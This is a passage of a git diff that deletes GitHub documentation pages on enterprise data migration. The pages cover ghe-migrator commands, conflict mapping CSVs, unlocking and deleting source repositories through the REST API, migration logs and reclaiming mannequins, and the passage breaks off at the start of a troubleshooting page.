/enterprise/admin/user-management/migrating-data-to-your-enterprise - - /admin/user-management/migrating-data-to-your-enterprise - - /admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise - - /migrations/using-ghe-migrator/preparing-to-migrate-data-to-github-enterprise-server -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Enterprise - - Migration -shortTitle: Migrate data ---- - -## Preparing the migrated data - -1. Using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command, copy the migration archive generated from your source instance or organization to your {% data variables.product.prodname_ghe_server %} target: - - ```shell - scp -P 122 PATH-TO-MIGRATION-GUID.tar.gz admin@HOSTNAME:/home/admin/ - ``` - -{% data reusables.enterprise_installation.ssh-into-target-instance %} - -1. Use the `ghe-migrator prepare` command to prepare the archive for import on the target instance and generate a new Migration GUID for you to use in subsequent steps: - - ```shell - ghe-migrator prepare /home/admin/MIGRATION-GUID.tar.gz - ``` - - * To start a new import attempt, run `ghe-migrator prepare` again and get a new Migration GUID. - * {% data reusables.enterprise_migrations.specify-staging-path %} - -## Generating a list of migration conflicts - -1. Using the `ghe-migrator conflicts` command with the Migration GUID, generate a _conflicts.csv_ file: - - ```shell - ghe-migrator conflicts -g MIGRATION-GUID > conflicts.csv - ``` - - * If no conflicts are reported, you can safely import the data. - -1. If there are conflicts, using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command, copy _conflicts.csv_ to your local computer: - - ```shell - scp -P 122 admin@HOSTNAME:conflicts.csv ~/Desktop - ``` - -1. Continue to [Resolving migration conflicts or setting up custom mappings](#resolving-migration-conflicts-or-setting-up-custom-mappings). - -## Reviewing migration conflicts - -1. Using a text editor or [CSV-compatible spreadsheet software](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support), open _conflicts.csv_. -1. With guidance from the examples and reference tables below, review the _conflicts.csv_ file to ensure that the proper actions will be taken upon import. - -The _conflicts.csv_ file contains a _migration map_ of conflicts and recommended actions. A migration map lists out both what data is being migrated from the source, and how the data will be applied to the target. - -| `model_name` | `source_url` | `target_url` | `recommended_action` | -|--------------|--------------|------------|--------------------| -| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` | -| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` | -| `repository` | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` | -| `team` | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` | -| `project` | `https://example-gh.source/octo-org/widgets/projects/1` | `https://example-gh.target/octo-org/projects/1` | `merge` | - -Each row in _conflicts.csv_ provides the following information: - -| Name | Description | -|--------------|---------------| -| `model_name` | The type of data being changed. | -| `source_url` | The source URL of the data. | -| `target_url` | The expected target URL of the data. | -| `recommended_action` | The preferred action `ghe-migrator` will take when importing the data. | - -### Possible mappings for each record type - -There are several different mapping actions that `ghe-migrator` can take when transferring data: - -| `action` | Description | Applicable models | -|------------------------|-------------|-------------------| -| `import` | (default) Data from the source is imported to the target. | All record types -| `map` | Instead of creating a new model based on the source data, an existing record in the target is used. Useful for importing a repository into an existing organization or mapping user identities in the target to user identities in the source. | Users, organizations, projects -| `rename` | Data from the source is renamed, then copied over to the target. | Users, organizations, repositories, projects -| `map_or_rename` | If the target exists, map to that target. Otherwise, rename the imported model. | Users -| `merge` | Data from the source is combined with existing data on the target. | Teams, projects - -**We strongly suggest you review the _conflicts.csv_ file and use `ghe-migrator audit` to ensure that the proper actions are being taken.** If everything looks good, you can continue. - -## Resolving migration conflicts or setting up custom mappings - -If you believe that `ghe-migrator` will perform an incorrect change, you can make corrections by changing the data in _conflicts.csv_. You can make changes to any of the rows in _conflicts.csv_. - -For example, let's say you notice that the `octocat` user from the source is being mapped to `octocat` on the target. - -| `model_name` | `source_url` | `target_url` | `recommended_action` | -|--------------|--------------|------------|--------------------| -| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` - -You can choose to map the user to a different user on the target. Suppose you know that `octocat` should actually be `monalisa` on the target. You can change the `target_url` column in _conflicts.csv_ to refer to `monalisa`. - -| `model_name` | `source_url` | `target_url` | `recommended_action` | -|--------------|--------------|------------|--------------------| -| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map` - -As another example, if you want to rename the `octo-org/widgets` repository to `octo-org/amazing-widgets` on the target instance, change the `target_url` to `octo-org/amazing-widgets` and the `recommend_action` to `rename`. - -| `model_name` | `source_url` | `target_url` | `recommended_action` | -|--------------|--------------|------------|--------------------| -| `repository` | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename` | - -### Adding custom mappings - -A common scenario during a migration is for migrated users to have different usernames on the target than they have on the source. - -Given a list of usernames from the source and a list of usernames on the target, you can build a CSV file with custom mappings and then apply it to ensure each user's username and content is correctly attributed to them at the end of a migration. - -You can quickly generate a CSV of users being migrated in the CSV format needed to apply custom mappings by using the `ghe-migrator audit` command: - -```shell -ghe-migrator audit -m user -g MIGRATION-GUID > users.csv -``` - -Now, you can edit that CSV and enter the new URL for each user you would like to map or rename, and then update the fourth column to have `map` or `rename` as appropriate. - -For example, to rename the user `octocat` to `monalisa` on the target `https://example-gh.target` you would create a row with the following content: - -| `model_name` | `source_url` | `target_url` | `state` | -|--------------|--------------|------------|--------------------| -| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename` - -The same process can be used to create mappings for each record that supports custom mappings. For more information, see [our table on the possible mappings for records](#possible-mappings-for-each-record-type). - -### Applying modified migration data - -1. After making changes, use the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command to apply your modified _conflicts.csv_ (or any other mapping _.csv_ file in the correct format) to the target instance: - - ```shell - scp -P 122 ~/Desktop/conflicts.csv admin@HOSTNAME:/home/admin/ - ``` - -1. Re-map the migration data using the `ghe-migrator map` command, passing in the path to your modified _.csv_ file and the Migration GUID: - - ```shell - ghe-migrator map -i conflicts.csv -g MIGRATION-GUID - ``` - -1. If the `ghe-migrator map -i conflicts.csv -g MIGRATION-GUID` command reports that conflicts still exist, run through the migration conflict resolution process again. - -## Applying the imported data on {% data variables.product.prodname_ghe_server %} - -{% data reusables.enterprise_installation.ssh-into-target-instance %} - -1. Using the `ghe-migrator import` command, start the import process. You'll need: - * Your Migration GUID. For more information, see [Preparing the migrated data for import to {% data variables.product.prodname_ghe_server %}](#preparing-the-migrated-data). - * Your {% data variables.product.pat_generic %} for authentication. The {% data variables.product.pat_generic %} that you use is only for authentication as a site administrator, and does not require any specific scope or permissions. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - - ```shell - $ ghe-migrator import /home/admin/MIGRATION-GUID.tar.gz -g MIGRATION-GUID -u USERNAME -p TOKEN - - > Starting GitHub::Migrator - > Import 100% complete / - ``` - - * {% data reusables.enterprise_migrations.specify-staging-path %} - -## Reviewing migration data - -By default, `ghe-migrator audit` returns every record. It also allows you to filter records by: - -* The types of records. -* The state of the records. - -The record types match those found in the [migrated data](/migrations/using-ghe-migrator/about-ghe-migrator#migrated-data). - -## Record type filters - -| Record type | Filter name | -|-----------------------|--------| -| Users | `user` -| Organizations | `organization` -| Repositories | `repository` -| Teams | `team` -| Milestones | `milestone` -| {% data variables.projects.projects_v1_boards_caps %} | `project` -| Issues | `issue` -| Issue comments | `issue_comment` -| Pull requests | `pull_request` -| Pull request reviews | `pull_request_review` -| Commit comments | `commit_comment` -| Pull request review comments | `pull_request_review_comment` -| Releases | `release` -| Actions taken on pull requests or issues | `issue_event` -| Protected branches | `protected_branch` - -## Record state filters - -| Record state | Description | -|-----------------|----------------| -| `export` | The record will be exported. | -| `import` | The record will be imported. | -| `map` | The record will be mapped. | -| `rename` | The record will be renamed. | -| `merge` | The record will be merged. | -| `exported` | The record was successfully exported. | -| `imported` | The record was successfully imported. | -| `mapped` | The record was successfully mapped. | -| `renamed` | The record was successfully renamed. | -| `merged` | The record was successfully merged. | -| `failed_export` | The record failed to export. | -| `failed_import` | The record failed to be imported. | -| `failed_map` | The record failed to be mapped. | -| `failed_rename` | The record failed to be renamed. | -| `failed_merge` | The record failed to be merged. | - -## Filtering audited records - -With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this: - -```shell -ghe-migrator audit -m RECORD_TYPE -s STATE -g MIGRATION-GUID -``` - -For example, to view every successfully imported organization and team, you would enter: - -```shell -$ ghe-migrator audit -m organization,team -s mapped,renamed -g MIGRATION-GUID -> model_name,source_url,target_url,state -> organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed -``` - -**We strongly recommend auditing every import that failed.** To do that, you will enter: - -```shell -$ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g MIGRATION-GUID -> model_name,source_url,target_url,state -> user,https://gh.source/octocat,https://gh.target/octocat,failed -> repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed -``` - -If you have any concerns about failed imports, you can contact us by visiting {% data variables.contact.contact_ent_support %}. - -## Completing the import on {% data variables.product.prodname_ghe_server %} - -After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected. - -## Unlocking repositories on the target instance - -{% data reusables.enterprise_installation.ssh-into-instance %} -{% data reusables.enterprise_migrations.unlocking-on-instances %} - -> [!WARNING] -> If your repository contains {% data variables.product.prodname_actions %} workflows using the `schedule` trigger, the workflows will not run automatically after an import. To start the scheduled workflows once again, push a commit to the repository. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#schedule). - -## Unlocking repositories on the source - -After your migration is complete, you should unlock the repositories on the source. - -### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} - -To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to [the migration unlock endpoint](/free-pro-team@latest/rest/migrations#unlock-an-organization-repository). You'll need: -* Your access token for authentication -* The unique `id` of the migration -* The name of the repository to unlock - -```shell -curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ - -H "Accept: application/vnd.github.wyandotte-preview+json" \ - https://api.github.com/orgs/ORG-NAME/migrations/ID/repos/REPO_NAME/lock -``` - -### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} - -After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/repos/repos#delete-a-repository). You'll need your access token for authentication: - -```shell -curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ - https://api.github.com/repos/ORG-NAME/REPO_NAME -``` - -### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.ssh-into-instance %} -{% data reusables.enterprise_migrations.unlocking-on-instances %} diff --git a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer.md b/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer.md deleted file mode 100644 index 2e45532c8592..000000000000 --- a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Accessing your migration logs for GitHub Enterprise Importer -shortTitle: Access migration logs -intro: "After running a migration, you should review the migration log to check for data that didn't migrate as expected." -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer - - /early-access/enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer ---- - -## About migration logs - -Each time you run a migration with {% data variables.product.prodname_importer_proper_name %}, a migration log is created. You should check the migration log after every migration to review any migration warnings. - -The migration log lists the steps that were completed as part of the migration and includes additional information. - -* Migration warnings, representing data (such as issues, pull requests, or comments) that didn't migrate as expected -* Who ran the migration -* The source of the migration -* How long the migration took - -You can access the migration log for a repository migration in multiple ways. - -* On {% data variables.product.prodname_dotcom %}, by viewing the "Migration Log" issue in the migrated repository. You can use this issue to discuss any warnings with your team and record any decisions. -* By downloading a log file using the {% data variables.product.prodname_cli %}. - -When you run an organization migration, {% data variables.product.prodname_importer_proper_name %} additionally creates a repository named `gei-migration-results` in the destination organization. This repository contains information about the migration of organization-level data and duplicates the information in the "Migration Log" issues for each migrated repository. - -For more information about interpreting warnings in your migration log, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#understanding-migration-log-warnings). - -## Viewing a repository migration log on {% data variables.product.prodname_dotcom %} - -People with read access to a repository can access the migration log for the repository on {% data variables.product.prodname_dotcom %}. - -1. Navigate to the migrated repository in your destination organization. -{% data reusables.repositories.sidebar-issues %} -1. Click the issue with the title "Migration Log." - -## Downloading a repository migration log with the {% data variables.product.prodname_cli %} - -Organization owners and organization members with the migrator role can download migration logs using the {% data variables.product.prodname_cli %}. - -You can download the latest migration log for an individual repository with the `download-logs` command. The exact command depends on your migration source. - -* [Downloading a repository migration log with the {% data variables.product.prodname_ado2gh_cli_short %}](#downloading-a-repository-migration-log-with-the-ado2gh-extension) -* [Downloading a repository migration log with the {% data variables.product.prodname_bbs2gh_cli_short %}](#downloading-a-repository-migration-log-with-the-bbs2gh-extension) -* [Downloading a repository migration log with the {% data variables.product.prodname_gei_cli_short %}](#downloading-a-repository-migration-log-with-the-gei-extension) - -Migration logs are available to download for 24 hours after the migration is completed. - -### Downloading a repository migration log with the {% data variables.product.prodname_ado2gh_cli_short %} - -If your migration source is Azure DevOps, you can download the latest migration log for an individual repository with the `gh ado2gh download-logs` command. {% data reusables.enterprise-migration-tool.download-logs-placeholders %} - -```shell copy -gh ado2gh download-logs --github-target-org DESTINATION --target-repo REPOSITORY --migration-log-file FILENAME -``` - -* {% data reusables.enterprise-migration-tool.add-pat-to-download-logs %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -### Downloading a repository migration log with the {% data variables.product.prodname_bbs2gh_cli_short %} - -If your migration source is Bitbucket Server, you can download the latest migration log for an individual repository with the `gh bbs2gh download-logs` command. {% data reusables.enterprise-migration-tool.download-logs-placeholders %} - -```shell copy -gh bbs2gh download-logs --github-target-org DESTINATION --target-repo REPOSITORY --migration-log-file FILENAME -``` - -* {% data reusables.enterprise-migration-tool.add-pat-to-download-logs %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -### Downloading a repository migration log with the {% data variables.product.prodname_gei_cli_short %} - -If your migration source is a {% data variables.product.prodname_dotcom %} product, you can download the latest migration log for an individual repository with the `gh gei download-logs` command. {% data reusables.enterprise-migration-tool.download-logs-placeholders %} - -```shell copy -gh gei download-logs --github-target-org DESTINATION --target-repo REPOSITORY --migration-log-file FILENAME -``` - -* {% data reusables.enterprise-migration-tool.add-pat-to-download-logs %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -### Downloading all the repository migration logs for a migration script - -To ensure you have access to migration logs for all your migrated repositories, you can use the `--download-migration-logs` flag when generating a migration script for repository migrations. When you use this flag, the script will include the `download-logs` command for each repository migrated in the script. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer). - -> [!NOTE] -> You can only use the `--download-migration-logs` flag with repository migrations, not with organization migrations. - -## Accessing an organization migration log - -Owners of the destination organization can access the migration log for an organization migration on {% data variables.product.prodname_dotcom %}. - -To access the migration log for an organization migration, navigate to the repository named `gei-migration-results` in your destination organization. - -The `README.md` file in the root of the repository includes the following information about the organization migration: -* Any warnings or errors related to the migration of organization-level data, such as settings and teams -* The number of repositories that were successfully migrated and the number of repositories that failed to migrate - -The`/success` and `/failure` directories contain one file for each repository that was successfully migrated or that failed to migrate, respectively. These files follow the naming convention `REPO_NAME.md`. - -> [!NOTE] -> The `gei-migration-results` repository is created at the beginning of the migration process but is only updated with your migration logs after the migration finishes. diff --git a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/index.md b/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/index.md deleted file mode 100644 index eb984ac63b1f..000000000000 --- a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Completing your migration with GitHub Enterprise Importer -shortTitle: Complete migration -intro: 'After you migrate repositories to {% data variables.product.prodname_dotcom %}, you can access migration logs, reclaim mannequins, and troubleshoot any unexpected results.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /accessing-your-migration-logs-for-github-enterprise-importer - - /reclaiming-mannequins-for-github-enterprise-importer - - /troubleshooting-your-migration-with-github-enterprise-importer -redirect_from: - - /early-access/enterprise-importer/completing-your-migration-with-github-enterprise-importer ---- diff --git a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer.md b/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer.md deleted file mode 100644 index a28ae9dcbebf..000000000000 --- a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer.md +++ /dev/null @@ -1,197 +0,0 @@ ---- -title: Reclaiming mannequins for GitHub Enterprise Importer -shortTitle: Reclaim mannequins -intro: 'After your migration, you can assign the history of a placeholder identity, or mannequin, to a member of your organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: Organization owners can reclaim mannequins. -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer - - /early-access/enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer ---- - -## About mannequins - -{% data reusables.enterprise-migration-tool.about-mannequins %} - -Each mannequin only has a display name, which comes from the display name in the source repository. Mannequins do not have organization membership or repository access. Mannequins always use the same avatar, a ghost octocat, and include a mannequin label following the display name. - -![Screenshot of the header of an issue comment. The commenter is labeled as a mannequin, and the "Mannequin" label is outlined in dark orange.](/assets/images/help/github-enterprise-importer/mannequin-example.png) - -{% data reusables.enterprise-migration-tool.how-to-reclaim %} - -Reclaiming is optional and can happen any time after a migration is finished. For this reason, you can allow your team to begin working in migrated repositories before reclaiming. - -Mannequins are not used for Git commit attribution. For more details about commit attribution, see [Managing authorship for commit commits](#managing-authorship-for-git-commits) below. - -## Reclaiming mannequins - -You can reclaim mannequins with {% data variables.product.prodname_cli %} (recommended) or the browser. - -* [Reclaiming mannequins with the {% data variables.product.prodname_cli %} (recommended)](#reclaiming-mannequins-with-the-github-cli-recommended) -* [Reclaiming mannequins in your browser](#reclaiming-mannequins-in-your-browser) - -By default, reclaiming a mannequin will send an attribution invitation to the target user. - -The target user can choose to accept or reject the invitation. After a user accepts an attribution invitation, all contributions previously attributed to the mannequin will be attributed to the user instead. In future migrations to the same organization, any contributions from the same mannequin will be automatically reclaimed for the same user. - -If your organization uses {% data variables.product.prodname_emus %} and you choose to reclaim mannequins with the {% data variables.product.prodname_cli %}, you can optionally skip the invitation process, immediately reclaiming the mannequin without the user's approval. - -> [!NOTE] -> * You cannot reclaim mannequins after you have transferred a repository to another organization. If you wish to transfer a repository to another organization after your migration, you must reclaim the mannequins before the transfer. -> * When reclaiming mannequins, you can only target existing organization members. Before attempting to reclaim a mannequin, verify that the {% data variables.product.prodname_dotcom %} user you want to invite is already added to the organization. - -{% data variables.product.prodname_importer_proper_name %} does not migrate user access to repositories. After reclaiming mannequins, if any of the users do not already have appropriate access to the repository via team membership, you must separately give the users access to the repository. For more information, see [Managing an individual's access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository). - -### Reclaiming mannequins with the {% data variables.product.prodname_cli %} (recommended) - -You can use the {% data variables.product.prodname_cli %} to reclaim mannequins individually or in bulk. For more information about installing and updating migration extensions for the {% data variables.product.prodname_cli %}, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer). - -The exact command you need to use depends on which extension of the {% data variables.product.prodname_cli %} that you're using. - -* [Reclaiming mannequins with the {% data variables.product.prodname_gei_cli_short %}](#reclaiming-mannequins-with-the-gei-extension) -* [Reclaiming mannequins with the {% data variables.product.prodname_ado2gh_cli_short %}](#reclaiming-mannequins-with-the-ado2gh-extension) -* [Reclaiming mannequins with the {% data variables.product.prodname_bbs2gh_cli_short %}](#reclaiming-mannequins-with-the-bbs2gh-extension) - -#### Reclaiming mannequins with the {% data variables.product.prodname_gei_cli_short %} - -If your migration source is a {% data variables.product.prodname_dotcom %} product, you can reclaim mannequins with the {% data variables.product.prodname_gei_cli %}. - -* {% data reusables.enterprise-migration-tool.add-pat-to-reclaim-mannequins %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -{% data reusables.enterprise-migration-tool.create-csv-mannequins %} - - * To generate a CSV file with a list of mannequins for an organization, use the `gh gei generate-mannequin-csv` command, replacing DESTINATION with the destination organization and FILENAME with a file name for the resulting CSV file. - - {% data reusables.enterprise-migration-tool.include-reclaimed %} - - ```shell copy - gh gei generate-mannequin-csv --github-target-org DESTINATION --output FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.edit-csv %} -1. To reclaim mannequins, use the `gh gei reclaim-mannequin` command. - - {% data reusables.enterprise-migration-tool.reclaim-bulk-csv %} - - ```shell copy - gh gei reclaim-mannequin --github-target-org DESTINATION --csv FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.reclaim-individual-mannequin %} - - ```shell copy - gh gei reclaim-mannequin --github-target-org DESTINATION --mannequin-user MANNEQUIN --target-user USERNAME - ``` - -{% data reusables.enterprise-migration-tool.mannequin-reclaim-must-accept %} - -#### Reclaiming mannequins with the {% data variables.product.prodname_ado2gh_cli_short %} - -If your migration source is Azure DevOps, you can reclaim mannequins with the {% data variables.product.prodname_ado2gh_cli %}. - -* {% data reusables.enterprise-migration-tool.add-pat-to-reclaim-mannequins %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -{% data reusables.enterprise-migration-tool.create-csv-mannequins %} - - * To generate a CSV file with a list of mannequins for an organization, use the `gh ado2gh generate-mannequin-csv` command, replacing DESTINATION with the destination organization and FILENAME with a file name for the resulting CSV file. - - {% data reusables.enterprise-migration-tool.include-reclaimed %} - - ```shell copy - gh ado2gh generate-mannequin-csv --github-org DESTINATION --output FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.edit-csv %} -1. To reclaim mannequins, use the `gh ado2gh reclaim-mannequin` command. - - {% data reusables.enterprise-migration-tool.reclaim-bulk-csv %} - - ```shell copy - gh ado2gh reclaim-mannequin --github-org DESTINATION --csv FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.reclaim-individual-mannequin %} - - ```shell copy - gh ado2gh reclaim-mannequin --github-org DESTINATION --mannequin-user MANNEQUIN --target-user USERNAME - ``` - -{% data reusables.enterprise-migration-tool.mannequin-reclaim-must-accept %} - -#### Reclaiming mannequins with the {% data variables.product.prodname_bbs2gh_cli_short %} - -If your migration source is Bitbucket Server, you can reclaim mannequins with the {% data variables.product.prodname_bbs2gh_cli %}. - -* {% data reusables.enterprise-migration-tool.add-pat-to-reclaim-mannequins %} For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-scopes-for-personal-access-tokens). -* {% data reusables.enterprise-migration-tool.add-target-api-url %} - -{% data reusables.enterprise-migration-tool.create-csv-mannequins %} - - * To generate a CSV file with a list of mannequins for an organization, use the `gh bbs2gh generate-mannequin-csv` command, replacing DESTINATION with the destination organization and FILENAME with a file name for the resulting CSV file. - - {% data reusables.enterprise-migration-tool.include-reclaimed %} - - ```shell copy - gh bbs2gh generate-mannequin-csv --github-org DESTINATION --output FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.edit-csv %} -1. To reclaim mannequins, use the `gh bbs2gh reclaim-mannequin` command. - - {% data reusables.enterprise-migration-tool.reclaim-bulk-csv %} - - ```shell copy - gh bbs2gh reclaim-mannequin --github-org DESTINATION --csv FILENAME.csv - ``` - - {% data reusables.enterprise-migration-tool.reclaim-individual-mannequin %} - - ```shell copy - gh bbs2gh reclaim-mannequin --github-org DESTINATION --mannequin-user MANNEQUIN --target-user USERNAME - ``` - -{% data reusables.enterprise-migration-tool.mannequin-reclaim-must-accept %} - -### Reclaiming mannequins in your browser - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.enterprise-migration-tool.import-export-tab %} -1. To the right of the mannequin you want to reclaim, click **Reattribute**. -1. In the search field, type the username of the organization member you want to attribute the mannequin's contributions to, then click the member. - - > [!NOTE] - > You can only send attribution invitations to user accounts that are already members of the organization. - -1. Click **Invite**. -{% data reusables.enterprise-migration-tool.mannequin-reclaim-must-accept %} - -## Viewing the status of your attribution invitations - -You can view the status of all attribution invitations for your organization. - -* Invited: The user has been sent an invitation, but has not replied to the invitation yet. -* Completed: The user has accepted, or the invitation process was skipped. The user's contributions have been reattributed. -* Rejected: The user chose not to be credited for the mannequin's contributions. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.enterprise-migration-tool.import-export-tab %} -1. Under "{% octicon "arrow-switch" aria-hidden="true" %} Import/Export", click **Attribution Invitations**. - - ![Screenshot of the "Import/Export" page for a repository. A tab, labeled "Attribution Invitations," is outlined in dark orange.](/assets/images/help/github-enterprise-importer/attribution-invitations-tab.png) - -## Managing authorship for Git commits - -Authorship for Git commits is not associated with mannequins and cannot be attributed to {% data variables.product.prodname_dotcom %} users by reclaiming mannequins. Instead, commit authorship is attributed to user accounts on {% data variables.product.prodname_dotcom %} based on the email address that was used to author the commit in Git. - -In many cases, users can reattribute commits to themselves by adding the email address used to author the commit to their user account on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - -However, if you use {% data variables.product.prodname_emus %}, users cannot add email addresses to their user account on {% data variables.product.prodname_dotcom %} and will therefore not be able to reattribute Git commits. Only commits authored by a user's primary email address in your identity provider (IdP) will be attributed to {% data variables.enterprise.prodname_managed_users %}. - -Additionally, commits authored by a {% data variables.product.company_short %}-provided `noreply` email address cannot be reattributed, because you can't manually add a `noreply` email address to a user account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). diff --git a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer.md b/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer.md deleted file mode 100644 index e91da6d1090e..000000000000 --- a/content/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Troubleshooting your migration with GitHub Enterprise Importer -shortTitle: Troubleshoot migrations -intro: "If your migration fails or produces unexpected results, you can try common troubleshooting steps." -versions: - fpt: "*" - ghes: "*" - ghec: "*" -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer - - /early-access/enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer ---- - -## About troubleshooting steps for {% data variables.product.prodname_importer_proper_name %} - -If your migration fails or produces unexpected results, try the first steps for troubleshooting below, which commonly resolve a variety of issues. If these first steps do not resolve your issue, check for error messages in the logs for your migration. Then, locate the error message in this article and try the steps for resolution. - -If you're unable to resolve your issue after trying the troubleshooting steps for the error message, you can contact {% data variables.contact.github_support %}. - -## First steps for troubleshooting - -Before you investigate further, try these troubleshooting steps that commonly resolve a variety of issues. - -1. Verify that you're using the latest version of the {% data variables.product.prodname_cli %} extension you're using to migrate. If you're not, upgrade to the latest version. -1. Verify that you meet all the access requirements. For more information, see the appropriate article for your migration path. - - * 